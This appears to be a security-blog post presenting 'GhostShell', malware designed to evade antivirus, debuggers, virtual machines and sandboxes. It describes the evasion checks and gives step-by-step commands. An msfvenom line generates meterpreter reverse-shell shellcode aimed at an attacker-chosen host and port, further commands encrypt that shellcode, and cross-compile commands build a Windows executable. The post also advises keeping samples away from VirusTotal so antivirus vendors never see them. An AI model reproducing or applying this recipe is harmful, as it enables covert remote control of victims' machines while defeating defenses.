GhostShell : Malware Indetectable With AV Bypass Techniques & Anti-Disassembly

GhostShell is a Malware indetectable, with AV bypass techniques, anti-disassembly, etc. In this malware, are used some techniques to try bypass the AVs, VMs, and Sandboxes, with only porpuse to learning more. I’m not responsible for your actions.

Attention!!!

To check if the antivirus is detecting the malware, NEVER send it to the virustotal, IT WILL BE SENT TO THE ANTIVIRUS COMPANIES AND WILL BE BROKEN, to analyze, send it to https://www.hybrid-analysis.com/ and remember to check the option “Do not send my sample to non-affiliated third parties”, as in the example below.

Also Read – Faraday : Collaborative Penetration Test & Vulnerability Management Platform

Bypass Techniques

  • Anti-Debugger : To try bypass the Debuggers, I’m using the “IsDebuggerPresent()” of “Windows.h” librarie to checks if a debugger is running.
  • Anti-VM / Anti-Sandbox / Anti-AV
    • Enumerate Process Function Enumerates all process running on the system, and compares to the process in the black-list, if found a process and this is equal to any process in the black-list returns -1 (identified).
    • Sleep Acceleration Check Function First, gets the current time, and sleeps 2 minutes, then, gets the time again, and compare, if the difference is less than 2, returns -1 (identified).
    • Mac Address Check Function Gets the system mac address and compare to the macs, in the black-list, if the system mac address is equal to any mac in the black-list returns -1 (identified).

Generating the Shellcode

To generate the shellcode type in the terminal: msfvenom -p windows/meterpreter/reverse_shell lhost=(IP) lport=(PORT) -f c, copy the shellcode generated and encrypt it.

  • To encrypt shellcode use the encrypt_shellcode script.
    • On linux type: ./encrypt_shellcode e "(KEY, ex: "\xda\xe6\x1d\x5c\x9v\x8d") "(shellcode)""
    • On windows type: encrypt_shellcode.exe e "(KEY, ex: "\xda\xe6\x1d\x5c\x9v\x8d") "(YOUR_SHELLCODE)""

How to compile for Windows on Linux?

To compile for Windows on Linux, first, install mingw-w64: sudo apt-get install mingw-w64, then, to compile for 32 bits: i686-w64-mingw32-gcc -o main.exe main.c -l psapi -static, and to 64 bits: x86_64-w64-mingw32 -o main.exe main.c -l psapi -static

R K

Recent Posts

Cybersecurity – Tools And Their Function

Cybersecurity tools play a critical role in safeguarding digital assets, systems, and networks from malicious…

14 hours ago

MODeflattener – Miasm’s OLLVM Deflattener

MODeflattener is a specialized tool designed to reverse OLLVM's control flow flattening obfuscation through static…

14 hours ago

My Awesome List : Tools And Their Functions

"My Awesome List" is a curated collection of tools, libraries, and resources spanning various domains…

14 hours ago

Chrome Browser Exploitation, Part 3 : Analyzing And Exploiting CVE-2018-17463

CVE-2018-17463, a type confusion vulnerability in Chrome’s V8 JavaScript engine, allowed attackers to execute arbitrary…

14 hours ago

Chrome Browser Exploitation, Part 1 : Introduction To V8 And JavaScript Internals

The blog post "Chrome Browser Exploitation, Part 1: Introduction to V8 and JavaScript Internals" provides…

15 hours ago

Chrome Browser Exploitation, Part 3: Analyzing and Exploiting CVE-2018-17463

The exploitation of CVE-2018-17463, a type confusion vulnerability in Chrome’s V8 JavaScript engine, relies on…

18 hours ago